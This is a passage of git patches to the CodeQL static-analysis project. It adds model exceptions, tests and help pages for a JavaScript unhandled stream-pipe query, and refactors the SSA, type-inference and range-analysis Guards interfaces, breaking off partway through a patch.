fc05533d7ed4..3bbd01ac930d 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -1,7 +1,7 @@ import * as rx from 'rxjs'; import * as ops from 'rxjs/operators'; import { TestScheduler } from 'rxjs/testing'; - +import { pluck } from "rxjs/operators/pluck"; const { of, from } = rx; const { map, filter } = ops; @@ -15,4 +15,6 @@ function f(){ const source = x('', {o: [a, b, c]}); z(source.pipe(null)).toBe(expected,y,); }); + + z.option$.pipe(pluck("x")) // $SPURIOUS:Alert } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index dbbc751e7b41..4c726175f18f 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,3 +1,7 @@ +| arktype.js:3:1:3:24 | type.st ... Number) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| execa.js:7:3:7:33 | first.s ... .stdin) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| highland.js:4:1:8:45 | highlan ... .txt')) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| rxjsStreams.js:19:3:19:28 | z.optio ... k("x")) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | From c6db32ed73b790aaf5cd094c03473386d4e7920e Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 23 May 2025 12:34:11 +0200 Subject: [PATCH 359/535] Add exceptions for `arktype`, `execa`, and `highland` to prevent them from being flagged by unhandled pipe error query --- javascript/ql/lib/ext/arktype.model.yml | 6 ++++++ javascript/ql/lib/ext/execa.model.yml | 6 ++++++ javascript/ql/lib/ext/highland.model.yml | 6 ++++++ .../test/query-tests/Quality/UnhandledStreamPipe/arktype.js | 2 +- .../test/query-tests/Quality/UnhandledStreamPipe/execa.js | 2 +- .../query-tests/Quality/UnhandledStreamPipe/highland.js | 2 +- .../query-tests/Quality/UnhandledStreamPipe/test.expected | 3 --- 7 files changed, 21 insertions(+), 6 deletions(-) create mode 100644 javascript/ql/lib/ext/arktype.model.yml create mode 100644 javascript/ql/lib/ext/execa.model.yml create mode 100644 javascript/ql/lib/ext/highland.model.yml diff --git a/javascript/ql/lib/ext/arktype.model.yml b/javascript/ql/lib/ext/arktype.model.yml new file mode 100644 index 000000000000..38cb8eb7de67 --- /dev/null +++ b/javascript/ql/lib/ext/arktype.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "arktype", "Fuzzy"] diff --git a/javascript/ql/lib/ext/execa.model.yml b/javascript/ql/lib/ext/execa.model.yml new file mode 100644 index 000000000000..1f05b575e99e --- /dev/null +++ b/javascript/ql/lib/ext/execa.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "execa", "Fuzzy"] diff --git a/javascript/ql/lib/ext/highland.model.yml b/javascript/ql/lib/ext/highland.model.yml new file mode 100644 index 000000000000..eb581bf63633 --- /dev/null +++ b/javascript/ql/lib/ext/highland.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "highland", "Fuzzy"] diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js index 19d944151ab6..cac5e57511d4 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js @@ -1,3 +1,3 @@ import { type } from 'arktype'; -type.string.pipe(Number) // $SPURIOUS:Alert +type.string.pipe(Number); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js index 59c4eafef59d..052875e849bc 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js @@ -4,7 +4,7 @@ const execa = require('execa'); const first = execa('node', ['empty.js']); const second = execa('node', ['stdin.js']); - first.stdout.pipe(second.stdin); // $SPURIOUS:Alert + first.stdout.pipe(second.stdin); const {stdout} = await second; console.log(stdout); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js index 406ee7f44f45..08ac4f8954ad 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js @@ -5,4 +5,4 @@ highland(fs.createReadStream('input.txt')) .map(line => { if (line.length === 0) throw new Error('Empty line'); return line; - }).pipe(fs.createWriteStream('output.txt')); // $SPURIOUS:Alert + }).pipe(fs.createWriteStream('output.txt')); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 4c726175f18f..6b267f502e30 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,6 +1,3 @@ -| arktype.js:3:1:3:24 | type.st ... Number) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| execa.js:7:3:7:33 | first.s ... .stdin) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| highland.js:4:1:8:45 | highlan ... .txt')) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | rxjsStreams.js:19:3:19:28 | z.optio ... k("x")) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | From 893cb592b571113f537ed2514b6798a63573b7a7 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 23 May 2025 12:35:30 +0200 Subject: [PATCH 360/535] SSA: Elaborate qldoc a bit. --- shared/ssa/codeql/ssa/Ssa.qll | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index a5f9e3f862b8..4734cf7e414b 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1579,6 +1579,14 @@ module Make Input> { * Holds if this guard evaluating to `branch` controls the control-flow * branch edge from `bb1` to `bb2`. That is, following the edge from * `bb1` to `bb2` implies that this guard evaluated to `branch`. + * + * This predicate differs from `hasBranchEdge` in that it also covers + * indirect guards, such as: + * ``` + * b = guard; + * ... + * if (b) { ... } + * ``` */ predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); } From 92e0b6430741a0f9b217e711d8fdab553494468b Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 23 May 2025 11:43:27 +0100 Subject: [PATCH 361/535] Shared: Fix QLDoc. --- shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll b/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll index d9efa7a84497..244cc5731976 100644 --- a/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll +++ b/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll @@ -56,7 +56,7 @@ signature module InputSig Lang> { /** * Gets the return kind corresponding to specification `"ReturnValue"` when - * the supplied argument `arg`. + * supplied with the argument `arg`. * * Note that it is expected that the following equality holds: * ``` From f4fb717a34a169890dd3a524484a850949115372 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 23 May 2025 12:49:01 +0200 Subject: [PATCH 362/535] SSA: Add change note. --- shared/ssa/change-notes/2025-05-23-guards-interface.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 shared/ssa/change-notes/2025-05-23-guards-interface.md diff --git a/shared/ssa/change-notes/2025-05-23-guards-interface.md b/shared/ssa/change-notes/2025-05-23-guards-interface.md new file mode 100644 index 000000000000..cc8d76372f6a --- /dev/null +++ b/shared/ssa/change-notes/2025-05-23-guards-interface.md @@ -0,0 +1,4 @@ +--- +category: breaking +--- +* Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. From 248f83c4db280918c1b1d353196fb2ed6e106d5e Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 23 May 2025 13:35:36 +0200 Subject: [PATCH 363/535] Added `qhelp` for `UnhandledStreamPipe` query --- .../ql/src/Quality/UnhandledStreamPipe.qhelp | 44 +++++++++++++++++++ .../Quality/examples/UnhandledStreamPipe.js | 6 +++ .../examples/UnhandledStreamPipeGood.js | 17 +++++++ .../UnhandledStreamPipeManualError.js | 16 +++++++ 4 files changed, 83 insertions(+) create mode 100644 javascript/ql/src/Quality/UnhandledStreamPipe.qhelp create mode 100644 javascript/ql/src/Quality/examples/UnhandledStreamPipe.js create mode 100644 javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js create mode 100644 javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp new file mode 100644 index 000000000000..677bdbd4177c --- /dev/null +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp @@ -0,0 +1,44 @@ + + + + +

+In Node.js, calling the pipe() method on a stream without proper error handling can lead to silent failures, where errors are dropped and not propagated downstream. This can result in unexpected behavior and make debugging difficult. It is crucial to ensure that error handling is implemented when using stream pipes to maintain the reliability of the application. +

+ + + +

+Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors. +

+

+If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors during the streaming process are properly handled. +

+
+ + +

+The following code snippet demonstrates a problematic usage of the pipe() method without error handling: +

+ + + +

+A better approach is to use the pipeline function, which automatically handles errors: +

+ + + +

+Alternatively, if you need to use pipe(), make sure to add error handling: +

+ + +
+ + +
  • Node.js Documentation: stream.pipeline().
  • + + diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js new file mode 100644 index 000000000000..d31d6936f228 --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js @@ -0,0 +1,6 @@ +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Bad: No error handling +source.pipe(destination); diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js new file mode 100644 index 000000000000..08b9b2a1aab5 --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js @@ -0,0 +1,17 @@ +const { pipeline } = require('stream'); +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Good: Using pipeline for automatic error handling +pipeline( + source, + destination, + (err) => { + if (err) { + console.error('Pipeline failed:', err); + } else { + console.log('Pipeline succeeded'); + } + } +); diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js new file mode 100644 index 000000000000..113bc8117746 --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js @@ -0,0 +1,16 @@ +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Alternative Good: Manual error handling with pipe() +source.on('error', (err) => { + console.error('Source stream error:', err); + destination.destroy(err); +}); + +destination.on('error', (err) => { + console.error('Destination stream error:', err); + source.destroy(err); +}); + +source.pipe(destination); From 05288d395255163f94fab47a3a1b24585b2e5847 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Fri, 23 May 2025 13:36:58 +0200 Subject: [PATCH 364/535] Type inference: Simplify internal representation of type paths --- .../typeinference/internal/TypeInference.qll | 52 +++++-------------- 1 file changed, 12 insertions(+), 40 deletions(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 4414bc74c0bd..6a1f1c50bb39 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -181,44 +181,25 @@ module Make1 Input1> { /** Holds if this type path is empty. */ predicate isEmpty() { this = "" } - /** Gets the length of this path, assuming the length is at least 2. */ - bindingset[this] - pragma[inline_late] - private int lengthAtLeast2() { - // Same as - // `result = strictcount(this.indexOf(".")) + 1` - // but performs better because it doesn't use an aggregate - result = this.regexpReplaceAll("[0-9]+", "").length() + 1 - } - /** Gets the length of this path. */ bindingset[this] pragma[inline_late] int length() { - if this.isEmpty() - then result = 0 - else - if exists(TypeParameter::decode(this)) - then result = 1 - else result = this.lengthAtLeast2() + // Same as + // `result = count(this.indexOf("."))` + // but performs better because it doesn't use an aggregate + result = this.regexpReplaceAll("[0-9]+", "").length() } /** Gets the path obtained by appending `suffix` onto this path. */ bindingset[this, suffix] TypePath append(TypePath suffix) { - if this.isEmpty() - then result = suffix - else - if suffix.isEmpty() - then result = this - else ( - result = this + "." + suffix and - ( - not exists(getTypePathLimit()) - or - result.lengthAtLeast2() <= getTypePathLimit() - ) - ) + result = this + suffix and + ( + not exists(getTypePathLimit()) + or + result.length() <= getTypePathLimit() + ) } /** @@ -232,16 +213,7 @@ module Make1 Input1> { /** Gets the path obtained by removing `prefix` from this path. */ bindingset[this, prefix] - TypePath stripPrefix(TypePath prefix) { - if prefix.isEmpty() - then result = this - else ( - this = prefix and - result.isEmpty() - or - this = prefix + "." + result - ) - } + TypePath stripPrefix(TypePath prefix) { this = prefix + result } /** Holds if this path starts with `tp`, followed by `suffix`. */ bindingset[this] @@ -256,7 +228,7 @@ module Make1 Input1> { TypePath nil() { result.isEmpty() } /** Gets the singleton type path `tp`. */ - TypePath singleton(TypeParameter tp) { result = TypeParameter::encode(tp) } + TypePath singleton(TypeParameter tp) { result = TypeParameter::encode(tp) + "." } /** * Gets the type path obtained by appending the singleton type path `tp` From 62000319fed5cb114eeddf92ecadce0212000e1e Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 23 May 2025 11:43:42 +0200 Subject: [PATCH 365/535] Rangeanalysis: Simplify Guards integration. --- .../semantic/SemanticExprSpecific.qll | 4 -- .../new/internal/semantic/SemanticGuard.qll | 8 +-- .../semantic/analysis/RangeAnalysisImpl.qll | 2 - .../semmle/code/java/controlflow/Guards.qll | 35 ++++++++++- .../code/java/dataflow/ModulusAnalysis.qll | 2 +- .../code/java/dataflow/RangeAnalysis.qll | 8 +-- .../semmle/code/java/dataflow/RangeUtils.qll | 2 - .../rangeanalysis/ModulusAnalysisSpecific.qll | 27 +++----- .../rangeanalysis/SignAnalysisSpecific.qll | 29 +++------ .../codeql/rangeanalysis/ModulusAnalysis.qll | 2 +- .../codeql/rangeanalysis/RangeAnalysis.qll | 63 ++++++------------- .../rangeanalysis/internal/RangeUtils.qll | 28 ++------- 12 files changed, 77 insertions(+), 133 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticExprSpecific.qll b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticExprSpecific.qll index 1b83ae959d2c..224f968ce693 100644 --- a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticExprSpecific.qll +++ b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticExprSpecific.qll @@ -264,10 +264,6 @@ module SemanticExprConfig { Guard comparisonGuard(Expr e) { getSemanticExpr(result) = e } - predicate implies_v2(Guard g1, boolean b1, Guard g2, boolean b2) { - none() // TODO - } - /** Gets the expression associated with `instr`. */ SemExpr getSemanticExpr(IR::Instruction instr) { result = instr } } diff --git a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticGuard.qll b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticGuard.qll index 14755d59f5b4..a28d03a0666c 100644 --- a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticGuard.qll +++ b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticGuard.qll @@ -18,11 +18,11 @@ class SemGuard instanceof Specific::Guard { Specific::equalityGuard(this, e1, e2, polarity) } - final predicate directlyControls(SemBasicBlock controlled, boolean branch) { + final predicate controls(SemBasicBlock controlled, boolean branch) { Specific::guardDirectlyControlsBlock(this, controlled, branch) } - final predicate hasBranchEdge(SemBasicBlock bb1, SemBasicBlock bb2, boolean branch) { + final predicate controlsBranchEdge(SemBasicBlock bb1, SemBasicBlock bb2, boolean branch) { Specific::guardHasBranchEdge(this, bb1, bb2, branch) } @@ -31,8 +31,4 @@ class SemGuard instanceof Specific::Guard { final SemExpr asExpr() { result = Specific::getGuardAsExpr(this) } } -predicate semImplies_v2(SemGuard g1, boolean b1, SemGuard g2, boolean b2) { - Specific::implies_v2(g1, b1, g2, b2) -} - SemGuard semGetComparisonGuard(SemRelationalExpr e) { result = Specific::comparisonGuard(e) } diff --git a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/analysis/RangeAnalysisImpl.qll b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/analysis/RangeAnalysisImpl.qll index 22acb6fc1ca8..0281037e2795 100644 --- a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/analysis/RangeAnalysisImpl.qll +++ b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/analysis/RangeAnalysisImpl.qll @@ -77,8 +77,6 @@ module Sem implements Semantic { class Guard = SemGuard; - predicate implies_v2 = semImplies_v2/4; - class Type = SemType; class IntegerType = SemIntegerType; diff --git a/java/ql/lib/semmle/code/java/controlflow/Guards.qll b/java/ql/lib/semmle/code/java/controlflow/Guards.qll index 5cedb97ec05e..4042e7b29624 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Guards.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Guards.qll @@ -145,7 +145,7 @@ private predicate isNonFallThroughPredecessor(SwitchCase sc, ControlFlowNode pre * Evaluating a switch case to true corresponds to taking that switch case, and * evaluating it to false corresponds to taking some other branch. */ -class Guard extends ExprParent { +final class Guard extends ExprParent { Guard() { this.(Expr).getType() instanceof BooleanType and not this instanceof BooleanLiteral or @@ -360,6 +360,18 @@ private predicate guardControls_v3(Guard guard, BasicBlock controlled, boolean b ) } +pragma[nomagic] +private predicate guardControlsBranchEdge_v2( + Guard guard, BasicBlock bb1, BasicBlock bb2, boolean branch +) { + guard.hasBranchEdge(bb1, bb2, branch) + or + exists(Guard g, boolean b | + guardControlsBranchEdge_v2(g, bb1, bb2, b) and + implies_v2(g, b, guard, branch) + ) +} + pragma[nomagic] private predicate guardControlsBranchEdge_v3( Guard guard, BasicBlock bb1, BasicBlock bb2, boolean branch @@ -372,6 +384,27 @@ private predicate guardControlsBranchEdge_v3( ) } +/** INTERNAL: Use `Guard` instead. */ +final class Guard_v2 extends Guard { + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { + guardControlsBranchEdge_v2(this, bb1, bb2, branch) + } + + /** + * Holds if this guard evaluating to `branch` directly or indirectly controls + * the block `controlled`. That is, the evaluation of `controlled` is + * dominated by this guard evaluating to `branch`. + */ + predicate controls(BasicBlock controlled, boolean branch) { + guardControls_v2(this, controlled, branch) + } +} + private predicate equalityGuard(Guard g, Expr e1, Expr e2, boolean polarity) { exists(EqualityTest eqtest | eqtest = g and diff --git a/java/ql/lib/semmle/code/java/dataflow/ModulusAnalysis.qll b/java/ql/lib/semmle/code/java/dataflow/ModulusAnalysis.qll index 5b2a39ad6c9e..3e5a45da247d 100644 --- a/java/ql/lib/semmle/code/java/dataflow/ModulusAnalysis.qll +++ b/java/ql/lib/semmle/code/java/dataflow/ModulusAnalysis.qll @@ -17,7 +17,7 @@ private predicate valueFlowStepSsa(SsaVariable v, SsaReadPosition pos, Expr e, i exists(Guard guard, boolean testIsTrue | pos.hasReadOfVar(v) and guard = eqFlowCond(v, e, delta, true, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) + guardControlsSsaRead(guard, pos, testIsTrue) ) } diff --git a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll index b43990e14553..64f68b9c075a 100644 --- a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll +++ b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll @@ -219,16 +219,10 @@ module Sem implements Semantic { int getBlockId1(BasicBlock bb) { idOf(bb, result) } - final private class FinalGuard = GL::Guard; - - class Guard extends FinalGuard { + class Guard extends GL::Guard_v2 { Expr asExpr() { result = this } } - predicate implies_v2(Guard g1, boolean b1, Guard g2, boolean b2) { - GL::implies_v2(g1, b1, g2, b2) - } - class Type = J::Type; class IntegerType extends J::IntegralType { diff --git a/java/ql/lib/semmle/code/java/dataflow/RangeUtils.qll b/java/ql/lib/semmle/code/java/dataflow/RangeUtils.qll index e96d591ced54..444fec8f8659 100644 --- a/java/ql/lib/semmle/code/java/dataflow/RangeUtils.qll +++ b/java/ql/lib/semmle/code/java/dataflow/RangeUtils.qll @@ -19,8 +19,6 @@ predicate ssaUpdateStep = U::ssaUpdateStep/3; predicate valueFlowStep = U::valueFlowStep/3; -predicate guardDirectlyControlsSsaRead = U::guardDirectlyControlsSsaRead/3; - predicate guardControlsSsaRead = U::guardControlsSsaRead/3; predicate eqFlowCond = U::eqFlowCond/5; diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll index c88b9946faad..b639947793b5 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll @@ -4,7 +4,6 @@ module Private { private import semmle.code.java.dataflow.RangeUtils as RU private import semmle.code.java.controlflow.Guards as G private import semmle.code.java.controlflow.BasicBlocks as BB - private import semmle.code.java.controlflow.internal.GuardsLogic as GL private import SsaReadPositionCommon class BasicBlock = BB::BasicBlock; @@ -15,7 +14,7 @@ module Private { class Expr = J::Expr; - class Guard = G::Guard; + class Guard = G::Guard_v2; class ConstantIntegerExpr = RU::ConstantIntegerExpr; @@ -101,29 +100,17 @@ module Private { } } - /** - * Holds if `guard` directly controls the position `controlled` with the - * value `testIsTrue`. - */ - pragma[nomagic] - predicate guardDirectlyControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guard.directlyControls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) - or - exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | - guard.directlyControls(controlledEdge.getOrigBlock(), testIsTrue) or - guard.hasBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), testIsTrue) - ) - } - /** * Holds if `guard` controls the position `controlled` with the value `testIsTrue`. */ predicate guardControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guardDirectlyControlsSsaRead(guard, controlled, testIsTrue) + guard.controls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) or - exists(Guard guard0, boolean testIsTrue0 | - GL::implies_v2(guard0, testIsTrue0, guard, testIsTrue) and - guardControlsSsaRead(guard0, controlled, testIsTrue0) + exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | + guard.controls(controlledEdge.getOrigBlock(), testIsTrue) or + guard + .controlsBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), + testIsTrue) ) } diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll index ee2e3bb24123..04e896b26011 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll @@ -7,13 +7,12 @@ module Private { private import semmle.code.java.dataflow.SSA as Ssa private import semmle.code.java.controlflow.Guards as G private import SsaReadPositionCommon - private import semmle.code.java.controlflow.internal.GuardsLogic as GL private import Sign import Impl class ConstantIntegerExpr = RU::ConstantIntegerExpr; - class Guard = G::Guard; + class Guard = G::Guard_v2; class SsaVariable = Ssa::SsaVariable; @@ -170,31 +169,17 @@ module Private { predicate ssaRead = RU::ssaRead/2; - /** - * Holds if `guard` directly controls the position `controlled` with the - * value `testIsTrue`. - */ - pragma[nomagic] - private predicate guardDirectlyControlsSsaRead( - Guard guard, SsaReadPosition controlled, boolean testIsTrue - ) { - guard.directlyControls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) - or - exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | - guard.directlyControls(controlledEdge.getOrigBlock(), testIsTrue) or - guard.hasBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), testIsTrue) - ) - } - /** * Holds if `guard` controls the position `controlled` with the value `testIsTrue`. */ predicate guardControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guardDirectlyControlsSsaRead(guard, controlled, testIsTrue) + guard.controls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) or - exists(Guard guard0, boolean testIsTrue0 | - GL::implies_v2(guard0, testIsTrue0, guard, testIsTrue) and - guardControlsSsaRead(guard0, controlled, testIsTrue0) + exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | + guard.controls(controlledEdge.getOrigBlock(), testIsTrue) or + guard + .controlsBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), + testIsTrue) ) } } diff --git a/shared/rangeanalysis/codeql/rangeanalysis/ModulusAnalysis.qll b/shared/rangeanalysis/codeql/rangeanalysis/ModulusAnalysis.qll index 88d816b8644c..db3377ff3cc1 100644 --- a/shared/rangeanalysis/codeql/rangeanalysis/ModulusAnalysis.qll +++ b/shared/rangeanalysis/codeql/rangeanalysis/ModulusAnalysis.qll @@ -34,7 +34,7 @@ module ModulusAnalysis< exists(Sem::Guard guard, boolean testIsTrue | hasReadOfVarInlineLate(pos, v) and guard = eqFlowCond(v, e, D::fromInt(delta), true, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) + guardControlsSsaRead(guard, pos, testIsTrue) ) } diff --git a/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll b/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll index 60888c9f93f6..445ec9f0b8d3 100644 --- a/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll +++ b/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll @@ -181,21 +181,6 @@ signature module Semantic { */ Expr asExpr(); - /** - * Holds if the guard directly controls a given basic block. For example in - * the following code, the guard `(x > y)` directly controls the block - * beneath it: - * ``` - * if (x > y) - * { - * Console.WriteLine("x is greater than y"); - * } - * ``` - * `branch` indicates whether the basic block is entered when the guard - * evaluates to `true` or when it evaluates to `false`. - */ - predicate directlyControls(BasicBlock controlled, boolean branch); - /** * Holds if this guard is an equality test between `e1` and `e2`. If the * test is negated, that is `!=`, then `polarity` is false, otherwise @@ -204,24 +189,19 @@ signature module Semantic { predicate isEquality(Expr e1, Expr e2, boolean polarity); /** - * Holds if there is a branch edge between two basic blocks. For example - * in the following C code, there are two branch edges from the basic block - * containing the condition `(x > y)` to the beginnings of the true and - * false blocks that follow: - * ``` - * if (x > y) { - * printf("x is greater than y\n"); - * } else { - * printf("x is not greater than y\n"); - * } - * ``` - * `branch` indicates whether the second basic block is the one entered - * when the guard evaluates to `true` or when it evaluates to `false`. + * Holds if this guard evaluating to `branch` controls the control-flow 